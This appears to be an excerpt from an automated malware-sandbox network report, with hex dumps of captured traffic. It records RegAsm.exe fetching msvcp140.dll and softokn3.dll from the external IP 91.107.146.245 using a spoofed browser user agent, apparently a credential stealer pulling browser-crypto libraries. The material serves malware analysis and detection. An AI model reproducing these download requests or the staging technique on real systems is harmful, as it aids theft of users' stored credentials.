EPzEPWxP1`PHP$,FM1R'^_[]00L9tc
2024-09-18 12:30:56 UTC	16384	IN	Data Raw: e9 06 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-09-18 12:30:56 UTC	16384	IN	Data Raw: 00 83 c4 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-09-18 12:30:56 UTC	16384	IN	Data Raw: e9 42 fd ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc Data Ascii: BH) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-09-18 12:30:56 UTC	16384	IN	Data Raw: 04 00 00 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$
2024-09-18 12:30:56 UTC	16384	IN	Data Raw: 81 8b b8 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3
2024-09-18 12:30:57 UTC	16384	IN	Data Raw: 0b 83 e1 fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-09-18 12:30:57 UTC	16384	IN	Data Raw: 10 b9 00 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49781	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:58 UTC	246	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:59 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:58 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Wednesday, 18-Sep-2024 12:30:58 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-18 12:30:59 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-09-18 12:30:59 UTC	16384	IN	Data Raw: 00 72 00 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 Data Ascii: r-bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mn
2024-09-18 12:30:59 UTC	16384	IN	Data Raw: 00 00 00 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-09-18 12:30:59 UTC	16384	IN	Data Raw: 18 d9 00 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]
2024-09-18 12:30:59 UTC	16384	IN	Data Raw: 6a 03 f7 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 Data Ascii: jatAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-09-18 12:30:59 UTC	16384	IN	Data Raw: 85 c0 75 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 Data Ascii: uAUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jj
2024-09-18 12:30:59 UTC	16384	IN	Data Raw: f0 51 56 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e Data Ascii: QVE_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WEN
2024-09-18 12:30:59 UTC	16384	IN	Data Raw: e8 83 fe 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4
2024-09-18 12:30:59 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv
2024-09-18 12:30:59 UTC	16384	IN	Data Raw: f6 e8 97 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49783	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:00 UTC	246	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:00 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:00 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Wednesday, 18-Sep-2024 12:31:00 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-18 12:31:00 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-09-18 12:31:00 UTC	16384	IN	Data Raw: 7d 08 c7 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 Data Ascii: }jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-09-18 12:31:00 UTC	16384	IN	Data Raw: 8b 40 04 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 Data Ascii: @EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGP
